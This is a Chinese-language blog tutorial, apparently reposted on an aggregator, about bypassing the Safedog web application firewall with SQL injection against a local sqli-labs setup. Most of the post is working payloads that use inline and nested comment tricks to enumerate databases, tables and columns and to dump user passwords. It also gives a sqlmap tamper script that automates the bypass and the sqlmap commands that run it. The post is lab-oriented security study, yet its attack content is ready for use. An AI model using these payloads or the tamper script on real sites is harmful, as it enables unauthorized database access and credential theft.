从SQL注入绕过最新安全狗WAF中学习fuzz

前言

SQL注入并不是很精通,通过实战绕过WAF来进行加强SQL注入能力,希望对正在学习的师傅能有一丝帮助。

安装

安装前言

我是本地搭建的环境进行测试的 环境是windows11+phpstudy2018+sqli-labs phpstudy的安装我不再复述,这里简单说一下安全狗插件和安全狗的安装。

过程

在安装安全狗之前,一定要先做好安装apache2.4这一项,否则可能要浪费半个下午的时间来整(受害者本人自述了属于是),因为在提前安装好这个后,再安装安全狗,就会出现如下图所示的情况,这时候就很容易进行配置了

在这里插入图片描述

而如果你后安装apache2.4,出现Apache插件安装失败的可能性极大,那我们要怎么安装apache2.4呢,很简单,首先找到你apache下的bin路径,我的是"D:\phpStudy\PHPTutorial\Apache\bin",然后进入cmd中(以管理员身份运行)

C:\Windows\system32>d:
​
D:\>cd D:\phpStudy\PHPTutorial\Apache\bin
​
D:\phpStudy\PHPTutorial\Apache\bin> httpd -k install -n apache2.4
//安装插件

此时插件的安装就完成了,直接去官网找Apache版本的安全狗

在这里插入图片描述

下载到本地即可,此时进行安装(不要开启phpstudy),此时选择好安装路径后就会出现配置界面,它安装过插件的话一般是会自动检测的

在这里插入图片描述

此时直接点击确定就好了,然后打开就会发现插件是已安装的

在这里插入图片描述

此时看安全狗这个网站安全狗与防护总开关是否都开启,只有都开启了才有效,此时再去打开phpstudy,一般他就应该是自己变成系统服务了,如果没变的话就再选择一下即可

在这里插入图片描述

然后此时的话这个防护网站变成1个就说明配置好了

在这里插入图片描述

去访问网站就可以发现安全狗生效了

在这里插入图片描述

构造1=1

方法一

首先这里的话是尝试一个1=1,发现是不可以的

在这里插入图片描述

更换成true=true进行尝试

在这里插入图片描述

仍然不行,此时发现当and和后面没有空格的时候就会报错

在这里插入图片描述

我们这里尝试用/*/来充当注释符

在这里插入图片描述

发现还是被过滤了,此时我们就利用bp来进行fuzz,抓包后在/*/中添加变量(为爆破做准备)

在这里插入图片描述

选择暴力破解,字符集就选/!*进行测试即可

在这里插入图片描述

得到结果

在这里插入图片描述

发现很多都可以充当空格来进行绕过,我们随意挑选一个进行尝试,构造payload如下

id=1' and/**/1 --+

在这里插入图片描述

成功绕过

方法二

当然常见的还有一个内联注释符,就是/*!00000*/这种的,用实例来解释是最好理解的

mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.53    |
+-----------+
1 row in set (0.00 sec)
​
mysql> select /*!999991*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
​
mysql> select /*!000001*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!505531*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!505541*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

这种注释在mysql中叫做内联注释,如果没有接版本号时,会直接执行里面内容。当!后面接数据库版本号时,如果自身版本号(上述例子中的5.5.53)大于等于字符数(例如上述例子中的99999和00000),就会将注释中的内容执行,否则就会当做注释来处理。 那么这里的话,我们就想构造1=1,就可以利用它来进行绕过,我们构造如下/*!000001*/=/*!000001*/语句尝试进行绕过

在这里插入图片描述

可以发现成功绕过了

order by 绕过

直接利用的话可以发现是不可以的

在这里插入图片描述

由1=1的构造思路,我们尝试构造空格来进行绕过,构造payload如下

id=1' order/**/by 3 --+

在这里插入图片描述

id=1' order/**/by 4 --+

在这里插入图片描述

成功判断出来了字段数为3

联合查询

首先的话是想利用内联注释来进行一个绕过,因为单独的一个union和单独的select都是可以的,此时我就想利用它内联注释字符数大于版本号时将其内语句作为注释来进行一个绕过, 测试过程如下

在这里插入图片描述

选择暴力破解,设置0-9依次进行爆破

在这里插入图片描述

而后得到结果

在这里插入图片描述

发现这种利用垃圾字符的内联注释方式无法再次绕过,此时我们去尝试进行其他方法,想到之前的fuzz/**/中间加东西可以绕过,不妨试一下这种,设置如下

在这里插入图片描述

选择暴力破解,将字符集进行更换即可

在这里插入图片描述

得到结果

在这里插入图片描述

发现有很多可以绕过的,随便选一个来进行测试,构造payload如下

id=-1' union/*/!*!**/select 1,2,3--+

在这里插入图片描述

可以发现正常执行了,说明绕过了,这里再给出几个payload,师傅们可以自行测试

id=-1' union/*//--**/select 1,2,3--+
id=-1' union/*/!--**/select 1,2,3--+
id=-1' union/*/-*!!*/select 1,2,3--+

爆库

方法一(/**/方法)

此时直接去将3变成database()会被绕过,此时我是想用/*xxx*/()这种方式来进行绕过,利用bp设置如下

在这里插入图片描述

而后如下设置暴力破解

在这里插入图片描述

得到结果

在这里插入图片描述

可以发现有很多方式,我们随便挑选一个进行测试

id=-1' union/*/!*!**/select 1,2,database/*///-*/()--+

在这里插入图片描述

成功绕过

方法二(/*!*/内联注释法)

我们设置payload为/*!()*/这种,利用bp在括号前面加上五个数字,依次来检验哪个可以进行绕过,具体设置如下

在这里插入图片描述

而后选暴力破解,设置如下

在这里插入图片描述

得到结果

在这里插入图片描述

随机取出一个进行测试,构造payload如下

id=-1' union/*/!*!**/select 1,2,database/*!20553()*/--+

在这里插入图片描述

成功绕过

爆表

正常的话语句一般是这个样子

group_concat(table_name) from information_schema.tables where table_schema=database()

那么这里的话我们测试过后就会发现information_schema被过滤了,它俩只要在一起挨着就会被过滤

在这里插入图片描述

同时呢,我们也发现利用from的时候也会被过滤

在这里插入图片描述

对这两个进行分别fuzz的话比较麻烦,而且将两者进行一起用时可能会出现仍然被过滤的情况,因此此时的话就自然的想到了内联注释这种方法,可不可以用这种方法来进行绕过呢,我们先尝试一下

from/*!information_schema.tables*/

结果如下

在这里插入图片描述

显然这种是不可行的,但是我们知道还有一种的话就是内联注释的利用方法就是中间加注释符再加换行,也就是/*!%23%0a*/这种形式,我们先进行本地测试

mysql> select /*!#-> 1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!#/*-> 1*/-> ;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

此时经过本地测试发现,当运用内联注释时,里面插入/*,来构造/**/,也是可以实现绕过的,此时我们先试本地测试的第一种方法

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23%0ainformation_schema.tables*/ where table_schema='security'--+

在这里插入图片描述

此时被绕过,那我们就用刚刚测试出来的第二种方法进行尝试

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23/*%0ainformation_schema.tables*/ where table_schema='security'--+

在这里插入图片描述

此时想有没有可能是过滤了%23,我们将%23换成--+ 构造payload如下

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/ where table_schema='security'--+

在这里插入图片描述

得到了全部表

爆列

有了表名的注入,那么注入列名也不是件太难的事情,修改一下语句即可,构造payload如下

?id=-1' union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='users'--+

爆字段信息

同理,修改语句即可

?id=-1' union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+

其他姿势

like["%23"]

在学习其他师傅的文章时,偶然间发现这个like["%23"],这个的话我们知道%23是注释符的含义,那么在这里的时候,它这个语句到底有什么作用呢,我们测试一下就知道了 首先先正常查一个字段信息

select * from users where id=1 ;

在这里插入图片描述

此时可以发现有一个结果,我们加上我们的like["%23"],构造payload如下

select * from users where id=1 like "[%23]";

在这里插入图片描述

此时表变成空的了,那我们如果此时这样构造payload

select * from users where id=1 like "[%23]" union select * from users;

我们知道前面users where id=1 like "[%23]"这个是空,那它这条语句就相当于

select * from users

如下图所示

在这里插入图片描述

在这里插入图片描述

那么此时我们就可以去我们的靶场进行测试,看是否能绕过

id=-1' like "[%23]" /*!10440union select*/ 1,2,3 --+

在这里插入图片描述

发现没有绕过,此时我们将union后的空格用换行符替代

id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+

在这里插入图片描述

此时就可以注入了,因此新的姿势就出现了,其他具体的不再列举,这里给出payload

//爆库
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/*!--+/*%0a()*/ --+
//爆表
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='security'--+
//爆列
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users'--+
//爆字段
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/*!--+/*%0ausers*/--+              

tamper脚本

脚本如下

#!/usr/bin/env python"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:quan9i.top
"""import re #导入re模块
import os #导入os模块from lib.core.data import kb #导入sqlmap中lib\core\data中的kb函数,测试SQL注入的过程中,使用的配置文件事先全部被加载到了conf和kb
from lib.core.enums import PRIORITY  #导入sqlmap中lib\core\enums中的PRIORITY函数,LOWEST = -100,LOWER = -50,LOW = -10,NORMAL = 0,HIGH = 10,HIGHER = 50,HIGHEST = 100
from lib.core.common import singleTimeWarnMessage#输出到sqlmap控制台的函数
from lib.core.enums import DBMS#一个数据库的枚举
__priority__ = PRIORITY.LOW#定义优先级为LOWdef dependencies():singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))# singleTimeWarnMessage() 用于在控制台中打印出警告信息
def tamper(payload, **kwargs):payload=payload.replace('AND','/*!10000AND*/')payload=payload.replace('OR','/*!10000OR*/')payload=payload.replace('ORDER BY','ORDER/**/BY')payload=payload.replace('()','/*!20553()*/')payload=payload.replace('UNION SELECT','UNION/*/!*!**/SELECT')payload=payload.replace('information_schema.tables','/*!%23%0ainformation_schema.tables*/')return payload

示例如下

//检测可注入类型
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --tamper=dog 

在这里插入图片描述

破解数据库

python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --dbs --tamper=dog -v5

在这里插入图片描述

参考文献

SQL注入bypass最新版安全狗 - 先知社区 什么,有狗快跑!慢着,这次手把手教你怎么过安全狗!(sql注入篇) - 知乎 https://www.cnblogs.com/Cl0ud/p/14394627.html SQL注入-安全狗apache最新版绕过-腾讯云开发者社区-腾讯云 Python攻防-Fuzz绕过安全狗进行SQL注入_Tr0e的博客-CSDN博客 SQLMap绕过脚本tamper(from 《Web安全攻防渗透测试实战指南》)_Masked5的博客-CSDN博客 记一次艰难的SQL注入(过安全狗) - FreeBuf网络安全行业门户 https://www.cnblogs.com/Cl0ud/p/14493204.html https://www.cnblogs.com/Cl0ud/p/14394627.html

加下方wx,拉你一起进群学习

图片

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/16825.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PDF文件忘记密码,怎么办?

PDF文件设置密码分为打开密码和限制密码,忘记了密码分别如何解密PDF密码? 如果是限制编辑密码忘记了,我们可以试着将PDF文件转换成其他格式来避开限制编辑,然后重新将文件转换回PDF格式就可以了。 如果因为转换之后导致文件格式…

【100天精通python】Day20:文件及目录操作_os模块和os.psth模块, 文件路径拼接,目录操作

目录 专栏导读 1 文件的目录操作 os模块的一些操作目录函数​编辑 os.path 模块的操作目录函数 2 相对路径和绝对路径 3 路径拼接 4 判断目录是否存在 5 创建目录、删除目录、遍历目录 专栏导读 专栏订阅地址:https://blog.csdn.net/qq_35831906/category_12…

Day03-作业(AxiosElementUI)

作业1&#xff1a; 根据需求完成如下页面数据列表展示 需求&#xff1a;Vue挂载完成后,通过axios发送异步请求到服务端,获取学生列表数据,并通过Vue展示在页面上 获取数据url&#xff1a;http://yapi.smart-xwork.cn/mock/169327/student 素材&#xff1a; <!DOCTYPE html…

springboot2实现图片文件上传与mysql存储路径并回显

环境介绍 技术栈 springbootmybatismysql 软件 版本 mysql 8 IDEA IntelliJ IDEA 2022.2.1 JDK 1.8 Spring Boot 2.7.13 mybatis 2.3.1 springboot是基于spring 4.0&#xff0c;springboot2是基于spring5.0,springboot2由pivotal公司在2018发布,这个框架主要用来…

螺旋矩阵 II——力扣59

文章目录 题目描述法一 模拟 题目描述 法一 模拟 初始化一个二维向量&#xff0c;名为matrix&#xff0c;它有n行和n列。向量的每个元素都是一个整数&#xff0c;初始化为0。初始化二维向量的语法如下&#xff1a;vector<vector<int>> matrix(n, vector<int>…

WPS本地镜像化在线文档操作以及样例

一个客户项目有引进在线文档操作需求&#xff0c;让我这边做一个demo调研下&#xff0c;给我的对接文档里有相关方法的说明&#xff0c;照着对接即可。但在真正对接过程中还是踩过不少坑&#xff0c;这儿对之前的对接工作做个记录。 按照习惯先来一个效果&#xff1a; Demo下载…

【phaser微信抖音小游戏开发002】hello world!

执行效果&#xff1a; 将以下代码文本内容&#xff0c;放入到game.js中即可。目录结构如下图 import ./js/libs/weapp-adapter import ./js/libs/symbolGameGlobal.window.scrollTo () > { };//防止真机出错 import Phaser from ./js/phaser//引入Phaservar {windowWidth, …

vue项目环境 搭建

1、安装nodejs 2、安装vue-cli, npm i -g vue/cli-init 3、初始化项目 vue init webpack test 4、运行 cd test npm run dev

无人机影像配准并发布(共线方程)

无人机影像 DEM 计算四个角点坐标&#xff08;刚性变换&#xff09; 像空间坐标&#xff08;x,y,-f&#xff09; 像空间坐标畸变纠正 deltax,deltay 已知(x,y)&#xff0c;求解(X,Y, Z)或者(Lat,Lon) 这里的Z是DEM上获取的坐标和Zs为相机坐标的高程&#xff0c;如果均为已…

应用无线鼠标中的2.4GHz无线收发芯片

无线键盘和无线鼠标作为现代办公环境中常见的工具&#xff0c;为我们的工作带来了便利。无线键盘和无线鼠标的工作原理都是基于无线技术实现的&#xff0c;其中常见的是2.4GHz无线技术。让我们一起来详细了解一下它们的工作原理。 无线鼠标的原理非常简单,鼠标部分工作与传统鼠…

html富文本编辑器

接了个单子&#xff0c;需要添加一个文章模块&#xff0c;一看用到的技术这么老&#xff0c;人傻了&#xff0c;纯html css js 。 在普通页面中 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"…

为Win12做准备?微软Win11 23H2将集成AI助手:GPT4免费用

微软日前确认今年4季度推出Win11 23H2&#xff0c;这是Win11第二个年度更新。 Win11 23H2具体有哪些功能升级&#xff0c;现在还不好说&#xff0c;但它会集成微软的Copilot&#xff0c;它很容易让人想到多年前的“曲别针”助手&#xff0c;但这次是AI技术加持的&#xff0c;Co…

一些高频的C++ cache line面试

C那些事之False Sharing与Cache line 最近看到一段代码&#xff0c;手动做的对齐&#xff0c;于是研究一下不对齐又会带来什么影响&#xff1f; template <typename T> class AtomicWithPadding {private:static constexpr int kCacheLineSize 64;uint8_t padding_befor…

牛客网Verilog刷题——VL46

牛客网Verilog刷题——VL46 题目解析答案 题目 根据题目提供的双口RAM代码和接口描述&#xff0c;实现同步FIFO&#xff0c;要求FIFO位宽和深度参数化可配置。电路的接口如下图所示。   双口RAM端口说明&#xff1a; 同步FIFO端口说明&#xff1a; 双口RAM代码如下&#xff…

网络安全 Day24-select高级用法和多表连接

select高级用法和多表连接 1. select 多子句单表高级实践1.1 select 多子句高级语法1.2 聚合函数1.3 group by 实践1.4 having 筛选1.5 order by 排序1.6 limit 2. 多表连接 1. select 多子句单表高级实践 1.1 select 多子句高级语法 where 和 having 区别是后者是分组后进行…

邪恶版ChatGPT来了!

「邪恶版」ChatGPT 出现&#xff1a;每月 60 欧元&#xff0c;毫无道德限制&#xff0c;专为“网络罪犯”而生。 WormGPT 并不是一个人工智能聊天机器人&#xff0c;它的开发目的不是为了有趣地提供无脊椎动物的人工智能帮助&#xff0c;就像专注于猫科动物的CatGPT一样。相反&…

【C++入门到精通】C++入门 —— 类和对象(构造函数、析构函数)

目录 一、类的6个默认成员函数 二、构造函数 ⭕构造函数概念 ⭕构造函数的特点 ⭕常见构造函数的几种类型 三、析构函数 ⭕析构函数概念 ⭕析构函数的特点 ⭕常见析构函数的几种类型 四、温馨提示 前言 这一篇文章是上一篇的续集&#xff08;这里有上篇链接&#xff09;…

Flink非对齐checkpoint原理(Flink Unaligned Checkpoint)

Flink非对齐checkpoint原理&#xff08;Flink Unaligned Checkpoint&#xff09; 为什么提出Unaligned Checkpoint&#xff08;UC&#xff09;&#xff1f; 因为反压严重时会导致Checkpoint失败&#xff0c;可能导致如下问题 恢复时间长-服务效率低非幂等和非事务会导致数据…

5分钟快手入门laravel邮件通知

第一步&#xff1a; 生成一个邮件发送对象 php artisan make:mail TestMail 第二步&#xff1a; 编辑.env 添加/修改&#xff08;没有的key则添加&#xff09; MAIL_DRIVERsmtp MAIL_HOSTsmtp.163.com &#xff08;这里用163邮箱&#xff09; MAIL_PORT25 &#xff08;163邮箱…

C# SourceGenerator 源生成器初探

简介 注意&#xff1a; 坑极多。而且截至2023年&#xff0c;这个东西仅仅是半成品 利用SourceGenerator可以在编译结束前生成一些代码参与编译&#xff0c;比如编译时反射之类的&#xff0c;还有模板代码生成都很好用。 演示仓库传送门-Github-yueh0607 使用 1. 创建项目 …